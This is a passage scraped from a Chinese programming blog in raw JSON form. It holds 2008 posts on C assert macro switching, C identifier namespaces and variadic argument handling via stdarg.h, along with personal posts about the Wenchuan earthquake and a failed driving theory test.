著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 协议的拉取，顺便可以实现路径映射。\u0026hellip;\n下一页 »\n分类 光影汇 (7) 影音坊 (36) 思考控 (66) 技术志 (845) 教育记 (2) 杂货铺 (75) 生活簿 (162) 职场录 (14) 读书吧 (15) 运动迷 (109) 驴友秀 (40) 标签 Blog Blogger C Cpp docker GC GCC github GNU Go Golang Google Gopher goroutine http Interface Java k8s Kubernetes Linux Opensource Package Programmer Python runtime Ubuntu Unix Windows 博客 容器 工作 巴萨 开源 思考 感悟 接口 摄影 标准库 梅西 泛型 生活 程序员 编译器 西甲 足球\n归档 2024 年五月 (6) 2024 年四月 (5) 2024 年三月 (1) 2024 年二月 (1) 2024 年一月 (4) 2023 年十二月 (8) 2023 年十一月 (6) 2023 年十月 (6) 2023 年九月 (5) 2023 年八月 (4) 2023 年七月 (6) 2023 年六月 (5) 2023 年五月 (6) 2023 年四月 (5) 2023 年三月 (7) 2023 年二月 (5) 2023 年一月 (3) 2022 年十二月 (4) 2022 年十一月 (5) 2022 年十月 (6) 2022 年九月 (5) 2022 年八月 (4) 2022 年七月 (5) 2022 年六月 (6) 2022 年五月 (10) 2022 年四月 (6) 2022 年三月 (11) 2022 年二月 (4) 2022 年一月 (2) 2021 年十二月 (7) 2021 年十一月 (6) 2021 年十月 (4) 2021 年九月 (5) 2021 年八月 (7) 2021 年七月 (7) 2021 年六月 (2) 2021 年五月 (2) 2021 年四月 (7) 2021 年三月 (7) 2021 年二月 (5) 2021 年一月 (4) 2020 年十二月 (11) 2020 年十一月 (9) 2020 年十月 (1) 2020 年九月 (1) 2020 年八月 (1) 2020 年七月 (1) 2020 年六月 (4) 2020 年五月 (3) 2020 年四月 (2) 2020 年三月 (6) 2020 年二月 (2) 2019 年十二月 (2) 2019 年十一月 (6) 2019 年十月 (5) 2019 年九月 (4) 2019 年八月 (5) 2019 年七月 (1) 2019 年六月 (2) 2019 年五月 (1) 2019 年四月 (4) 2019 年三月 (2) 2019 年二月 (1) 2019 年一月 (2) 2018 年十一月 (3) 2018 年十月 (1) 2018 年九月 (1) 2018 年七月 (1) 2018 年六月 (4) 2018 年五月 (2) 2018 年四月 (1) 2018 年三月 (3) 2018 年二月 (3) 2018 年一月 (7) 2017 年十二月 (5) 2017 年十一月 (4) 2017 年十月 (3) 2017 年九月 (2) 2017 年八月 (3) 2017 年七月 (4) 2017 年六月 (8) 2017 年五月 (5) 2017 年四月 (3) 2017 年三月 (2) 2017 年二月 (5) 2017 年一月 (7) 2016 年十二月 (7) 2016 年十一月 (7) 2016 年十月 (3) 2016 年九月 (2) 2016 年八月 (1) 2016 年六月 (2) 2016 年五月 (2) 2016 年四月 (2) 2016 年三月 (2) 2016 年二月 (3) 2016 年一月 (2) 2015 年十二月 (1) 2015 年十一月 (1) 2015 年十月 (1) 2015 年九月 (3) 2015 年八月 (5) 2015 年七月 (6) 2015 年六月 (4) 2015 年五月 (1) 2015 年四月 (2) 2015 年三月 (2) 2015 年一月 (2) 2014 年十二月 (5) 2014 年十一月 (8) 2014 年十月 (9) 2014 年九月 (2) 2014 年八月 (1) 2014 年七月 (1) 2014 年五月 (2) 2014 年四月 (5) 2014 年三月 (4) 2014 年二月 (1) 2014 年一月 (1) 2013 年十二月 (3) 2013 年十一月 (5) 2013 年十月 (6) 2013 年九月 (4) 2013 年八月 (5) 2013 年七月 (6) 2013 年六月 (2) 2013 年五月 (6) 2013 年四月 (3) 2013 年三月 (7) 2013 年二月 (4) 2013 年一月 (6) 2012 年十二月 (8) 2012 年十一月 (10) 2012 年十月 (5) 2012 年九月 (3) 2012 年八月 (10) 2012 年七月 (4) 2012 年六月 (2) 2012 年五月 (4) 2012 年四月 (10) 2012 年三月 (8) 2012 年二月 (6) 2012 年一月 (6) 2011 年十二月 (4) 2011 年十一月 (4) 2011 年十月 (5) 2011 年九月 (8) 2011 年八月 (7) 2011 年七月 (6) 2011 年六月 (7) 2011 年五月 (8) 2011 年四月 (6) 2011 年三月 (10) 2011 年二月 (7) 2011 年一月 (10) 2010 年十二月 (7) 2010 年十一月 (6) 2010 年十月 (7) 2010 年九月 (12) 2010 年八月 (8) 2010 年七月 (3) 2010 年六月 (5) 2010 年五月 (4) 2010 年四月 (2) 2010 年三月 (6) 2010 年二月 (4) 2010 年一月 (6) 2009 年十二月 (6) 2009 年十一月 (6) 2009 年十月 (5) 2009 年九月 (8) 2009 年八月 (8) 2009 年七月 (8) 2009 年六月 (2) 2009 年五月 (5) 2009 年四月 (7) 2009 年三月 (12) 2009 年二月 (9) 2009 年一月 (15) 2008 年十二月 (9) 2008 年十一月 (5) 2008 年十月 (10) 2008 年九月 (13) 2008 年八月 (13) 2008 年七月 (3) 2008 年六月 (1) 2008 年五月 (7) 2008 年四月 (4) 2008 年三月 (9) 2008 年二月 (11) 2008 年一月 (15) 2007 年十二月 (11) 2007 年十一月 (14) 2007 年十月 (4) 2007 年九月 (5) 2007 年八月 (1) 2007 年七月 (10) 2007 年六月 (10) 2007 年五月 (10) 2007 年四月 (8) 2007 年三月 (15) 2007 年二月 (4) 2007 年一月 (17) 2006 年十二月 (18) 2006 年十一月 (9) 2006 年十月 (11) 2006 年九月 (6) 2006 年八月 (5) 2006 年七月 (22) 2006 年六月 (35) 2006 年五月 (24) 2006 年四月 (26) 2006 年三月 (25) 2006 年二月 (18) 2006 年一月 (15) 2005 年十二月 (10) 2005 年十一月 (10) 2005 年九月 (13) 2005 年八月 (11) 2005 年七月 (6) 2005 年六月 (2) 2005 年五月 (3) 2005 年四月 (6) 2005 年三月 (1) 2005 年一月 (15) 2004 年十二月 (9) 2004 年十一月 (14) 2004 年十月 (2) 2004 年九月 (2) 链接 @douban @flickr @github @googlecode @picasa @slideshare @twitter @weibo Hoterran Lionel Messi Puras He 梦想风暴 磊磊落落的博客 过眼云烟 开源项目 buildc cbehave lcut 翻译项目 C语言编码风格和标准 《Programming in Haskell》中文翻译项目 View My Stats\n","permalink":"https://tonybai.com/2008/05/19/national-grief-day-for-wenchuan-earthquake/","summary":"\u003cp\u003e如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时\u003ca href=\"mailto:bigwhite.cn@aliyun.com?subject=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\u0026amp;body=%E5%8F%91%E7%8E%B0%E5%8D%9A%E5%AE%A2%E9%A1%B5%E9%9D%A2%E4%B8%AD%E6%9C%89%E6%81%B6%E6%84%8F%E4%BB%A3%E7%A0%81\"\u003e联系我\u003c/a\u003e。十分感谢！ \u003ca href=\"https://time.geekbang.org/column/intro/100093501?code=cQ4ugiP4uzDdDVD1T-HXXlTv9Fdl-SpdsPnSfxf0%2FuU%3Dutm_term=wangzhan\"\u003e\u003cimg alt=\"Image 1: Go语言第一课\" loading=\"lazy\" src=\"/images/wp-content/uploads/geekbang-go-basic-course-logo.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720728/\"\u003e\u003cimg alt=\"Image 2: Go语言精进之路1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol1.png\"\u003e\u003c/a\u003e\u003ca href=\"https://book.douban.com/subject/35720729/\"\u003e\u003cimg alt=\"Image 3: Go语言精进之路2\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-programming-from-beginners-to-masters-vol2.png\"\u003e\u003c/a\u003e商务合作请联系bigwhite.cn AT aliyun.com\u003c/p\u003e\n\u003ch3 id=\"欢迎使用邮件订阅我的博客\"\u003e欢迎使用邮件订阅我的博客\u003c/h3\u003e\n\u003cp\u003e输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\u003c/p\u003e","title":"全国哀悼日，贴图寄哀思"},{"content":"assert是大家常用的宏，它的用法相信大家都有所了解。P.J Plauger的\u0026quot;The C Standard Library\u0026quot;一书中提到在源代码中切换assert宏定义的方法：\n/* turn assertion on */\n#undef NDEBUG\n#include\n/* turn assertions off */\n#define NDEBUG\n#include\n我顺手写了一个例子如下：\n/* testmacro1.c */\n#define NDEBUG\n#include\nint main() {\nassert(0); // =\u0026gt; ((void)0);\n#undef NDEBUG\n#include\nassert(0); // =\u0026gt; (void)((0) || (__assert(\u0026ldquo;0\u0026rdquo;, \u0026ldquo;testmacro.c\u0026rdquo;, 10), 0));\n}\n测试结果正如P.J Plauger的说明。但仔细看来似乎有些疑惑：总觉得第二个assert也应该展开成((void)0)才对啊。由于NDEBUG被定义，在第一次assert.h展开时，assert就被替换成了((void)0)，而后虽然NDEBUG被disable了，但此时由于assert.h的header file guard保护，assert的新定义并没有被重新loaded \u0026amp; evaluated，所以assert似乎依然应该被展开为((void)0)，但执行结果却不是。\n我自己写了一个程序测试了一下：\n/* testmacro1.h */\n#ifndef TEST_MACRO1_H\n#define TEST_MACRO1_H\n#ifdef X_DEBUG\n#define x_debug(expr) ((void)0)\n#else\n#define x_debug(expr) #expr\n#endif\n#endif\n/* testmacro1.c */\n#define X_DEBUG\n#include \u0026ldquo;testmacro1.h\u0026rdquo;\nint main() {\nx_debug(0); // =\u0026gt; ((void)0);\n#undef X_DEBUG\n#include \u0026ldquo;testmacro1.h\u0026rdquo;\nx_debug(0); // =\u0026gt; ((void)0)\n}\n果不其然，结果正如我所猜测的：\n#undef X_DEBUG\n#include \u0026ldquo;testmacro1.h\u0026rdquo;\n并没有改变x_debug的定义，那么第一个例子到底是怎么回事呢？\n其实这是C标准库设计所致，打开你所在系统的assert.h标准文件，我在sun solairs 9上是这样的：\n#ifndef _ASSERT_H\n#define _ASSERT_H\n… …\n#endif\n#undef assert\n#ifdef NDEBUG\n#define assert(EX) ((void)0)\n#else\n#define assert(EX) (void)((EX) || (__assert(#EX, __FILE__, __LINE__), 0))\n#endif /* NDEBUG */\n哈哈，这下子看清楚了，原来assert的定义根本不在Header File Guards的保护下，怪不得我思前想后都对不上呢:)，因为没有File Guards的保护。使头文件中的宏有机会被重新loaded\u0026amp;envaluated。\n下面例子中的第三个assert屏蔽掉了标准库中的assert实现：\n/* testmacro3.c */\n#define NDEBUG\n#include\nint main() {\nassert(0); // =\u0026gt; ((void)0);\n#undef NDEBUG\n#include\nassert(0); // =\u0026gt; (void)((0) || (__assert(\u0026ldquo;0\u0026rdquo;, \u0026ldquo;testmacro3.c\u0026rdquo;, 10), 0));\n#define assert(exp) (#exp)\nassert(x==0); // =\u0026gt; (\u0026ldquo;x==0\u0026rdquo;);\n}\n这种屏蔽很简单，就不多说了，自己看吧。\n","permalink":"https://tonybai.com/2008/05/17/examples-for-macro-definition-switch-and-mask/","summary":"\u003cp\u003eassert是大家常用的宏，它的用法相信大家都有所了解。P.J Plauger的\u0026quot;The C Standard Library\u0026quot;一书中提到在源代码中切换assert宏定义的方法：\u003cbr\u003e\n/* turn assertion on */\u003cbr\u003e\n#undef NDEBUG\u003cbr\u003e\n#include\u003c/p\u003e","title":"关于宏定义切换以及屏蔽的例子"},{"content":"P.J Plauger的\u0026quot;The Standard C Library\u0026quot;一书的Chapter0的章后练习中有这样的一道题：编写一个包含如下一行语句的正确的程序：\nx: ((struct x*)x)-\u0026gt;x=x(5);\n并描述这行语句中x的5种截然不同的use，这里其实涉及到这么一个知识或者说概念：C语言的命名空间(namespace)，在\u0026quot;C语言参考手册\u0026quot;中还被称作: overloading class。\n这里namespace，并非C++中的那个keyword \u0026ldquo;namespace\u0026rdquo;，这里的namespace更多是编译器为了识别不同范围下的标识符而进行的划分，而不是提供给应用程序员的类似c++中的那个namespace facility。再次注意：C的namespace不是一个关键字。\n简单分析一下这行语句：x: ((struct x*)x)-\u0026gt;x=x(5);\n这里有5个x，第一印象：这样的语句能编译过去么？那既然P.J Plauger提出了这样的问题，那么自然有solution。\n从左到右顺序：\n第一个x — 毋庸置疑，这是一个标号(label) ；\n第二个x — 这里的x显然是一个struct tag(结构体标志)；\n第三个x — 这里的x 无法确定其具体身份，可能是一指针类型，也可能就是一个整型；\n第四个x — x前面有-\u0026gt;，显然这个x是某结构体的一个成员变量；\n第五个x — x(5)让人\u0026quot;浮想联翩\u0026quot;，第一印象是函数调用，细致一想还可能是一个宏哦(你肯定会说不可能，呵呵，别着急，慢慢来)\n到底如何增加一些语法元素能让这一行能顺利通过编译，并执行后得到合理结果呢？我们不妨先来温习一下C标准中对C的\u0026quot;命名空间\u0026quot;的诠释。\n在\u0026quot;C语言参考手册\u0026quot;中有如此说明，标准C将其Namespace分成了五种，分别是：\n预处理器宏名 语句标号 结构、枚举、联合结构的标志 成员名 其他名称 包括变量名、函数名、typedef名称和枚举常量 有了以上的说明，我们有了第一种方案：\n上面说了，语句x: ((struct x*)x)-\u0026gt;x=x(5)中有三个x都是可以确定的，不确定的是第三个x和最后一个x。我们先考虑让最后一个x为一个函数。\n考虑到最后一个名称空间的说明，一旦最后一个x为函数的话，第三个x就不能为变量名、typedef名称和枚举常量了。如果x是对象宏(不带参数的宏)，显然也不合理；那么我们先将x实现为函数看看：\nstruct x { //for the 2nd x\nint x; //for the 4th x\n};\nint x(int a) { //for the 3rd and 5th x\nreturn a;\n}\nint main() {\nx: ((struct x*)x)-\u0026gt;x=x(5);\n}\n这个在gcc(sunos or mingw on windows下)下编译能顺利通过。但是执行一下编译出的程序，会出现致命错误。初略分析一下也不奇怪。函数x的地址是在代码段，那块内存区域是只读且受保护的，尝试强制赋值显然os是不允许的。\n第一种方案虽然能通过编译，但是执行结果不合理。我们来做第二种尝试：试着将最后一个x实现为一个函数宏(带参数的宏)。\nstruct x { //for the 2nd x\nint x; //for the 4th x\n};\nstruct x ax;\n#define x(a) (a);\nint main() {\nint x = (int)(\u0026amp;ax);\nx: ((struct x*)x)-\u0026gt;x=x(5); printf(\u0026quot;%d\\n\u0026quot;, ((struct x*)x)-\u0026gt;x); //output: 5\n}\n这回，我们得到了正确的且合理的solution了。在P.J Plauger的\u0026quot;The Standard C Library\u0026quot;一书中还有一张关于C语言命名空间的图，记起来更形象。\n","permalink":"https://tonybai.com/2008/05/15/also-talk-about-namespace-in-c/","summary":"\u003cp\u003eP.J Plauger的\u0026quot;The Standard C Library\u0026quot;一书的Chapter0的章后练习中有这样的一道题：编写一个包含如下一行语句的正确的程序：\u003cbr\u003e\nx:      ((struct x*)x)-\u0026gt;x=x(5);\u003cbr\u003e\n并描述这行语句中x的5种截然不同的use，这里其实涉及到这么一个知识或者说概念：C语言的命名空间(namespace)，在\u0026quot;C语言参考手册\u0026quot;中还被称作: overloading class。\u003c/p\u003e","title":"也谈C语言标识符的NAMESPACE"},{"content":"时间定格在公元2008年5月12日，那天是星期一，工薪族们正努力的从周末休假状态转换到工作状态；操场上正在嬉戏打闹的低年级的小学生听到铃声陆续进入教室准备上课；初三、高三的莘莘学子们正伏案刻苦的读书，准备迎接即将来临的中考和高考；幼儿园里孩儿童们依旧在老师的看护下午睡着；盘山公路上、景区的缆车上，兴致勃勃的游客们正在欣赏着大自然的美丽景色。就当人们沉浸在这美好、恬静生活的时候，地球的内部，更精确的说是处于北纬31度，东经103.4度位置的美丽的四川汶川地区下面的地球板块迫于其他板块的压迫发生了运动，地震发生了。\n这次地震波及范围之广实属罕见，除了吉林和黑龙江没有探测到震级外，其他省和地区均有震情报告。灾难面前的中国人民向来是团结一致、众志成城的。食品、药品、棉被、帐篷、照明设施、救灾款项源源不断的送往灾区。如果不是汶川地区地形复杂，道路封闭，更多的人将会会得到重生的机会。\n这次地震后的救援有几大特点：\n政府反应极其迅速，各种预案立即启动，为灾后救援提供了宝贵的时间。值得一提的是：在震后的2个小时左右温总理就已经坐在了飞往震区的飞机上了。 各大媒体第一时间滚动持续传递震区消息，辟谣以正视听，让老百姓及时了解震区情况，以正确配合救灾工作。 灾区人民自救得力。在没有救援人员到达的情况下，灾区幸存的人们自发组织进行救援，很多人因此得到及时救援，得以重生。 这次地震还有几个疑点，值得震后反思和事后算账：\n学校教学楼和宿舍楼损毁严重，这里难道没有人为的因素么？政府应在震后进行取证调查，让那些在此次灾难中逝去的孩子们、老师们以及他们的亲属可以得到慰藉； 通信设备损毁严重，通讯不畅，影响救援。在年初的南方雪灾中，也出现了类似的情况，这很值得反思，电信、移动、联通在建立基站、铺设线缆时是否给予充分设计、论证？是否考虑到不同地区的不同环境情况而做到因地制宜了。 一个想法：\n震后，由于道路补偿，救援人员不能及时赶到，而劫后余生的人们在自救的过程中却因没有得力的和专业的救援工具而导致救援缓慢。我想国家是否可以做这样一件事：在全国地质灾害多发地区，设置多个公共救援工具存放处，而不是像目前都放到大城市的集中的储备库中。这样一旦发生灾情，大家可以就近拿到工具，节省时间。另外我们应该向邻国日本学习，定期对国民进行灾难教育，让国民了解自救以及救人的基本技能，或者在教育课程中，加入必要的自救和互救的实习课程，学习知识、工具使用，就好比大学新生必须进行的军训一样，让大家都掌握自救和互救的技能。如果能确实做到未雨绸缪，那么灾难给我们带来的损失将会降低很多，更多的人能生存下去。\n这次汶川地震不禁让我想起了1975年家乡发生的那场地震，与汶川地震不同的是，那次地震被准确的预报出来了，这大大减少了人员伤亡和财产损失。试想如果汶川地震事先有预报，那些孩子们无论如何都不会有如此大的伤亡的。遗憾的是这次地震，事前没有任何预测，正如本文开头所描述的，灾难是突然降临的，人们没有丝毫准备。\n现在距离地震发生的时间已经过去了50多个小时了，我们现在能做的就是力所能及的捐钱捐物，并为灾区那些依旧掩埋在废墟中的人们祈祷，祈祷他们能早日获救，得以重生。\n让我们一起来祈祷吧!\n突然萌生出一个幼稚的想法：转行做地震预报研究去!\n","permalink":"https://tonybai.com/2008/05/14/pray-for-the-people-in-sichuan-wenchuan/","summary":"\u003cp\u003e时间定格在公元2008年5月12日，那天是星期一，工薪族们正努力的从周末休假状态转换到工作状态；操场上正在嬉戏打闹的低年级的小学生听到铃声陆续进入教室准备上课；初三、高三的莘莘学子们正伏案刻苦的读书，准备迎接即将来临的中考和高考；幼儿园里孩儿童们依旧在老师的看护下午睡着；盘山公路上、景区的缆车上，兴致勃勃的游客们正在欣赏着大自然的美丽景色。就当人们沉浸在这美好、恬静生活的时候，地球的内部，更精确的说是处于北纬31度，东经103.4度位置的美丽的四川汶川地区下面的地球板块迫于其他板块的压迫发生了运动，地震发生了。\u003c/p\u003e","title":"关注四川汶川地震，为灾区人民祈祷"},{"content":"说来真是遗憾，这不上周五参加了驾驶员考试的理论测试，十分\u0026quot;点背\u0026quot;的是我居然以一分之差没有通过。\n今天驾校的一位中年男老师打来电话，问我是否参加十天之内安排的补考？令我惊奇的是他还对我鼓励了一番：\u0026ldquo;我相信你一定能过\u0026rdquo;，我也应承着：有你这句话我一定过。虽说教练这句话可能不完全是为我着想，但心里还是莫名的感受到一丝激励。毕竟是为了自己学么。\n其实除了工作忙没时间看题库之外，我觉得最大原因还是我的态度有问题–\u0026ldquo;不重视\u0026rdquo;，总有一种\u0026quot;侥幸\u0026quot;的心理。就在上周五，也就是考试那天的上午(下午16:00开考)， 我试着做光盘里的题库，结果做了100道，错了11道。事实也是惊人的相似，下午的考试，我得到的分数也恰好是89分，一分之差，让我有机会人生第一次需要参加所谓的\u0026quot;补考\u0026quot;，从来没参加过什么补考之类的考试，这次我算是栽了。\n考试没过，心情自然是很郁闷的，而且那天是周五，弄得我周末两天也是郁郁寡欢。\n其实一名合格的驾驶员是应该牢牢掌握驾驶理论知识的，而且很多知识都是交通法范畴，懂法其实是提高了自我保护的能力，一旦遇到如题中的情况，法律就是我们手中的一把利剑。另外掌握必要的交通法、驾驶和救护常识也会大大降低以后车祸发生率以及车祸给你带来的伤害程度。既然都是好处，那就好好复习吧，何乐而不为呢！\n","permalink":"https://tonybai.com/2008/05/12/not-pass-the-driving-exam-by-one-point/","summary":"\u003cp\u003e说来真是遗憾，这不上周五参加了驾驶员考试的理论测试，十分\u0026quot;点背\u0026quot;的是我居然以一分之差没有通过。\u003c/p\u003e\n\u003cp\u003e今天驾校的一位中年男老师打来电话，问我是否参加十天之内安排的补考？令我惊奇的是他还对我鼓励了一番：\u0026ldquo;我相信你一定能过\u0026rdquo;，我也应承着：有你这句话我一定过。虽说教练这句话可能不完全是为我着想，但心里还是莫名的感受到一丝激励。毕竟是为了自己学么。\u003c/p\u003e","title":"一分之差"},{"content":"很多技术人员都有在\u0026quot;技术细节\u0026quot;上\u0026quot;钻牛角尖\u0026quot;的\u0026quot;癖好\u0026quot;，对此很多人褒贬不一；无论怎样，我也是属于这类人。C语言的变长参数在平时做开发时很少会在自己设计的接口中用到，但我们最常用的接口printf就是使用的变长参数接口，在感受到printf强大的魅力的同时，是否想挖据一下到底printf是如何实现的呢？这里我们一起来挖掘一下C语言变长参数的奥秘。\n先考虑这样一个问题：如果我们不使用C标准库(libc)中提供的Facilities，我们自己是否可以实现拥有变长参数的函数呢？我们不妨试试。\n一步一步进入正题，我们先看看固定参数列表函数，\nvoid fixed_args_func(int a, double b, char *c) {\nprintf(\u0026ldquo;a = 0x%p\\n\u0026rdquo;, \u0026amp;a);\nprintf(\u0026ldquo;b = 0x%p\\n\u0026rdquo;, \u0026amp;b);\nprintf(\u0026ldquo;c = 0x%p\\n\u0026rdquo;, \u0026amp;c);\n}\n对于固定参数列表的函数，每个参数的名称、类型都是直接可见的，他们的地址也都是可以直接得到的，比如：通过\u0026amp;a我们可以得到a的地址，并通过函数原型声明了解到a是int类型的; 通过\u0026amp;b我们可以得到b的地址，并通过函数原型声明了解到b是double类型的; 通过\u0026amp;c我们可以得到c的地址，并通过函数原型声明了解到c是char*类型的。\n但是对于变长参数的函数，我们就没有这么顺利了。还好，按照C标准的说明，支持变长参数的函数在原型声明中，必须有至少一个最左固定参数(这一点与传统C有区别，传统C允许不带任何固定参数的纯变长参数函数)，这样我们可以得到其中固定参数的地址，但是依然无法从声明中得到其他变长参数的地址，比如：\nvoid var_args_func(const char * fmt, … ) {\n… …\n}\n这里我们只能得到fmt这固定参数的地址，仅从函数原型我们是无法确定\u0026quot;…\u0026ldquo;中有几个参数、参数都是什么类型的，自然也就无法确定其位置了。那么如何可以做到呢？在大脑中回想一下函数传参的过程，无论\u0026rdquo;…\u0026ldquo;中有多少个参数、每个参数是什么类型的，它们都和固定参数的传参过程是一样的，简单来讲都是栈操作，而栈这个东西对我们是开放的。这样一来，一旦我们知道某函数帧的栈上的一个固定参数的位置，我们完全有可能推导出其他变长参数的位置，顺着这个思路，我们继续往下走，通过一个例子来诠释一下：(这里要说明的是：函数参数进栈以及参数空间地址分配都是\u0026quot;实现相关\u0026quot;的，不同平台、不同编译器都可能不同，所以下面的例子仅在IA-32，Windows XP， MinGW gcc v3.4.2下成立)\n我们先用上面的那个fixed_args_func函数确定一下这个平台下的入栈顺序。\nint main() {\nfixed_args_func(17, 5.40, \u0026ldquo;hello world\u0026rdquo;);\nreturn 0;\n}\na = 0x0022FF50\nb = 0x0022FF54\nc = 0x0022FF5C\n从这个结果来看，显然参数是从右到左，逐一压入栈中的(栈的延伸方向是从高地址到低地址，栈底的占领着最高内存地址，先入栈的参数，其地理位置也就最高了)。我们基本可以得出这样一个结论：\nc.addr = b.addr + x_sizeof(b); /*注意: x_sizeof != sizeof，后话再说 */\nb.addr = a.addr + x_sizeof(a);\n有了以上的\u0026quot;等式\u0026rdquo;，我们似乎可以推导出 void var_args_func(const char * fmt, … ) 函数中，可变参数的位置了。起码第一个可变参数的位置应该是：first_vararg.addr = fmt.addr + x_sizeof(fmt); 根据这一结论我们试着实现一个支持可变参数的函数：\nvoid var_args_func(const char * fmt, … ) {\nchar *ap;\nap = ((char*)\u0026amp;fmt) + sizeof(fmt);\nprintf(\u0026quot;%d\\n\u0026quot;, *(int*)ap);\nap = ap + sizeof(int);\nprintf(\u0026quot;%d\\n\u0026quot;, *(int*)ap);\nap = ap + sizeof(int);\nprintf(\u0026quot;%s\\n\u0026quot;, *((char**)ap));\n}\nint main(){\nvar_args_func(\u0026quot;%d %d %s\\n\u0026quot;, 4, 5, \u0026ldquo;hello world\u0026rdquo;);\n}\n输出结果:\n4\n5\nhello world\nvar_args_func只是为了演示，并未根据fmt消息中的格式字符串来判断变参的个数和类型，而是直接在实现中写死了，如果你把这个程序拿到solaris 9下，运行后，一定得不到正确的结果，为什么呢，后续再说。先来解释一下这个程序。我们用ap获取第一个变参的地址，我们知道第一个变参是4，一个int型，所以我们用(int*)ap以告诉编译器，以ap为首地址的那块内存我们要将之视为一个整型来使用，*(int*)ap获得该参数的值；接下来的变参是5，又一个int型，其地址是ap + sizeof(第一个变参)，也就是ap + sizeof(int)，同样我们使用*(int*)ap获得该参数的值；最后的一个参数是一个字符串，也就是char*，与前两个int型参数不同的是，经过ap + sizeof(int)后，ap指向栈上一个char*类型的内存块(我们暂且称之tmp_ptr, char *tmp_ptr)的首地址，即ap -\u0026gt; \u0026amp;tmp_ptr，而我们要输出的不是printf(\u0026quot;%s\\n\u0026quot;, ap)，而是printf(\u0026quot;%s\\n\u0026quot;, tmp_ptr); printf(\u0026quot;%s\\n\u0026quot;, ap)是意图将ap所指的内存块作为字符串输出了，但是ap -\u0026gt; \u0026amp;tmp_ptr，tmp_ptr所占据的4个字节显然不是字符串，而是一个地址。如何让\u0026amp;tmp_ptr是char **类型的，我们将ap进行强制转换(char**)ap \u0026amp;tmp_ptr，这样我们访问tmp_ptr只需要在(char**)ap前面加上一个*即可，即printf(\u0026quot;%s\\n\u0026quot;, *(char**)ap);\n前面说过，如果将var_args_func放到solaris上，一定是得不到正确结果的？为什么呢？由于内存对齐。编译器在栈上压入参数时，不是一个紧挨着另一个的，编译器会根据变参的类型将其放到满足类型对齐的地址上的，这样栈上参数之间实际上可能会是有空隙的。上述例子中，我是根据反编译后的汇编码得到的参数间隔，还好都是4，然后在代码中写死了。\n为了满足代码的可移植性，C标准库在stdarg.h中提供了诸多Facilities以供实现变长长度参数时使用。这里也列出一个简单的例子，看看利用标准库是如何支持变长参数的：\n#include\nvoid std_vararg_func(const char *fmt, … ) {\nva_list ap;\nva_start(ap, fmt);\nprintf(\u0026quot;%d\\n\u0026quot;, va_arg(ap, int));\nprintf(\u0026quot;%f\\n\u0026quot;, va_arg(ap, double));\nprintf(\u0026quot;%s\\n\u0026quot;, va_arg(ap, char*));\nva_end(ap);\n}\nint main() {\nstd_vararg_func(\u0026quot;%d %f %s\\n\u0026quot;, 4, 5.4, \u0026ldquo;hello world\u0026rdquo;);\n}\n输出:\n4\n5.400000\nhello world\n对比一下 std_vararg_func和var_args_func的实现，va_list似乎就是char*， va_start似乎就是 ((char*)\u0026amp;fmt) + sizeof(fmt)，va_arg似乎就是得到下一个参数的首地址。没错，多数平台下stdarg.h中va_list, va_start和var_arg的实现就是类似这样的。一般stdarg.h会包含很多宏，看起来比较复杂。在有的系统中stdarg.h的实现依赖some special functions built into the the compilation system to handle variable argument lists and stack allocations，多数其他系统的实现与下面很相似：(Visual C++ 6.0的实现较为清晰，因为windows上的应用程序只需要在windows平台间做移植即可，没有必要考虑太多的平台情况)。\nMicrosoft Visual Studio\\VC98\\Include\\stdarg.h中，\ntypedef char * va_list;\n#define _INTSIZEOF(n) ( (sizeof(n) + sizeof(int) – 1) \u0026amp; ~(sizeof(int) – 1) )\n#define va_start(ap,v) ( ap = (va_list)\u0026amp;v + _INTSIZEOF(v) )\n#define va_arg(ap,t) ( *(t *)((ap += _INTSIZEOF(t)) – _INTSIZEOF(t)) )\n#define va_end(ap) ( ap = (va_list)0 )\n这里有两个地方需要深入挖掘一下：\n1、#define _INTSIZEOF(n) ( (sizeof(n) + sizeof(int) – 1) \u0026amp; ~(sizeof(int) – 1) )\n我们这里简化一下这个宏：\n#define _INTSIZEOF(n) ((sizeof(n) + x) \u0026amp; ~(x))\nx = sizeof(int) – 1 = 3 = 0000 0000 0000 0011(b)\n~x = 1111 1111 1111 1100(b)\n当一个数 \u0026amp; (-x)时，得到的值始终是sizeof(int)的倍数，也就是说_INTSIZEOF(n)的功能是将n圆整到sizeof(int)的倍数上去。sizeof(n) \u0026gt;= 1, 